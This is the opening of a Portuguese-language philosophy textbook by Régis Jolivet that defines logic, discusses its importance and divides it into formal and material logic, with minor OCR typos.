Curso de Filosofia – Régis Jolivet
LIVRO 1 LÓGICA
LÓGICA FORMAL — LÓGICA MATERIAL
LÓGICA
PRELIMINARES
Art. I. DEFINIÇÃO DA LÓGICA
O termo "lógica" vem de uma palavra grega
que significa razão, A Lógica é, de fato, a ciência das leis ideais
do pensamento, e a arte de aplicá-las corretamente à
procura e à demonstração da verdade.
1. A
Lógica é uma ciência, isto é, um sistema de conhecimentos certos, fundados em princípios
universais. Nisto, a Lógica
filosófica difere da Lógica espontânea ou empírica, como o que é perfeito difere do
imperfeito. Porque a Lógica natural não é
mais do que uma aptidão inata do
espírito para usar corretamente as faculdades intelectuais, mas sem ser capaz de
justificar racionalmente, recorrendo aos princípios universais, as regras do
pensamento correto,
2. Ciência das
leis idéias do pensamento, a
Lógica pertence por isto à filosofia normativa, porque não tem por fim
definir o que é, mas o que deve ser, a saber, o
que devem ser as operações intetelectuais
para satisfazer às exigências de
um pensamento correto. Ela estabelece as condições, não de existência, mas de legitimidade.
3. A lógica
é também uma arte, isto é, um método que permite bem fazer uma obra segundo certas regras. A Lógica,
de fato, ao mesmo tempo em que define as leis ideais do pensamento, estabelece as regras do pensamento correto,
cujo conjunto constitui uma arte
de pensar. E como o raciocínio
é a operação intelectual que implica todas as outras operações do espírito, define-se muitas vezes a lógica como a ciência do
raciocínio correto.
Ι. A Lógica tem por
fim a procura e a demonstração da verdade, porque a procura e a demonstração da
verdade são o fim (dai inteligência e, por conseguinte, da Lógica, enquanto
define as condições de validade das operações do espírito.
Art. II. IMPORTÂNCIA DA LÓGICA
7.
É necessário não exagerar nem depreciar a
importância da Lógica científica.
1. A Lógica empírica. — Podemos chegar e chegamos
muitas vezes à verdade sem o auxílio da Lógica científica, sobretudo quando as
operações intelectuais não comportam uma grande complexidade. Neste caso, é
suficiente a Lógica espontânea, da qual η Lógica filosófica é
tão-somente um aperfeiçoamento metódico, e LEIBNIZ disse com razão
que "as leis da Lógica não são mais do que as regras do bom-senso
colocadas em ordem e por escrito".
2. A
Lógica científica. — Mas se o bom-senso é sempre necessário, nem sempre é
suficiente. Se se pode observar espontaneamente as regras de um pensamento
correto, temos ainda mais probabilidades de o fazer quando estas regras são
conhecidas e familiares. — Além disso, não se trata unicamente de conhecer a
verdade: é necessário afastar as dificuldades e refutar os erros, e o bom-senso
aí encalha muitas vezes, porque ignora as causas de erro e os processos sofísticos. — Enfim, o bom-senso pode tirar de uma verdade as conseqüências mais
imediatas. Mas da mesma forma que não sabe elevar-se aos princípios universais,
não sabe descer às conseqüências1 remotas.
A Lógica é então necessária para tornar o espírito mais
penetrante e para ajudá-lo a justificar suas operações recorrendo aos
princípios que fundam a sua legitimidade.
ART. III. DIVISÃO
DA LÓGICA
Vimos (6)
que a
Lógica quer estabelecer as condições a
que as operações intelectuais devem satisfazer para serem corretas. Ora, estas
condições podem ser grupadas em duas grandes categorias. Existem, de início, as condições que asseguram o acordo do
pensamento consigo mesmo, abstração feita
de todo dado particular, de tal sorte que elas sejam válidas universalmente.
Existem a seguir as condições que decorrem das relações do pensamento com os objetos diversos a que se pode aplicar. Donde as grandes divisões da Lógica:
1. Lógica
formal ou menor. — É a parte da Lógica que estabelece a forma correta das
operações intelectuais, ou melhor, que assegura o acordo do pensamento consigo
mesmo, de tal maneira que os princípios que descobre e as regras que formula se
aplicam a todos os objetos do pensamento, quaisquer que sejam.
Ora, como as operações do espírito são em número de
três, a saber: a apreensão, o juízo e o raciocínio, a
Lógica formal compreende normalmente três partes, que tratam da apreensão e da
idéia, — do juízo e da proposição, — do
raciocínio e da argumentação.
2. Lógica
material ou maior. — É a parte da Lógica que determina as leis
particulares e as regras especiais que decorrem da natureza dos objetos a
conhecer. Ela define os métodos das matemáticas, da física, da química, das
ciências naturais, das ciências morais etc,
que são outras tantas lógicas
especiais.
À Lógica maior, podemos ligar o estudo das
condições da certeza, assim como dos sofismas pelos quais o falso se apresenta sob a aparências do verdadeiro. Estas
questões não se confundem ab-lolutamente com aquelas de que trata a Crítica do
conhecimento. Não se cuida, efetivamente,
em lógica, senão de definir, de
um ponto-de-vista formal, o que são de direito a verdade e o erro e
quais são as condições de direito da certeza, enquanto que a Crítica do conhecimento
tem por objeto resolver a questão de saber se de fato nossas
faculdades de conhecer são
capazes de atingir a verdade.
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